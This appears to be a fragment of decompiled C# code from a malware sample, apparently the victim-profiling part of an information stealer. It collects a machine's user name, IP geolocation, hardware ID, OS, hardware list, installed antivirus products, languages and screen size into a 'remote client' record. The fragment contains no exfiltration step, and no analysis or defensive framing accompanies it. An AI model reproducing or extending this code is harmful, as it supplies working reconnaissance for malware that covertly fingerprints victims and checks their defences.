// Token: 0x0600005D RID: 93 RVA: 0x00003A34 File Offset: 0x00001C34 public static void Initialize() { GeoLocationHelper.TryLocate(); GeoLocationHelper.GeoInfo.Query = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.Query) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.Query); GeoLocationHelper.GeoInfo.Country = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.Country) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.Country); GeoLocationHelper.GeoInfo.CountryCode = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.CountryCode) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.CountryCode); GeoLocationHelper.GeoInfo.Region = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.Region) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.Region); GeoLocationHelper.GeoInfo.City = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.City) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.City); GeoLocationHelper.GeoInfo.Timezone = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.Timezone) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.Timezone); GeoLocationHelper.GeoInfo.Isp = (string.IsNullOrEmpty(GeoLocationHelper.GeoInfo.Isp) ? "UNKNOWN" : GeoLocationHelper.GeoInfo.Isp); }
// Token: 0x06000014 RID: 20 RVA: 0x000026D8 File Offset: 0x000008D8 public static RemoteClientInformation Create(string SourceID) { RemoteClientInformation result; try { GeoLocationHelper.Initialize(); Size screenSize = ClientInfoHelper.GetScreenSize(); string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } result = new RemoteClientInformation { ID = 0, LogTime = DateTime.Now, SourceID = SourceID, UserName = Environment.UserName, ClientIP = GeoLocationHelper.GeoInfo.Query, Country = GeoLocationHelper.GeoInfo.CountryCode, OperationSystem = ClientInfoHelper.ParseOS(), HardwareID = ClientInfoHelper.ParseHWID(), Hardwares = ClientInfoHelper.ParseHardwares(), Antiviruses = ClientInfoHelper.ParseDefenders(), Languages = ClientInfoHelper.AvailableLanguages(), CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName, MonitorSize = string.Format("{0}x{1}", screenSize.Width, screenSize.Height), TimeZone = "UTC" + text, City = GeoLocationHelper.GeoInfo.City }; } catch { result = null; } return(result); }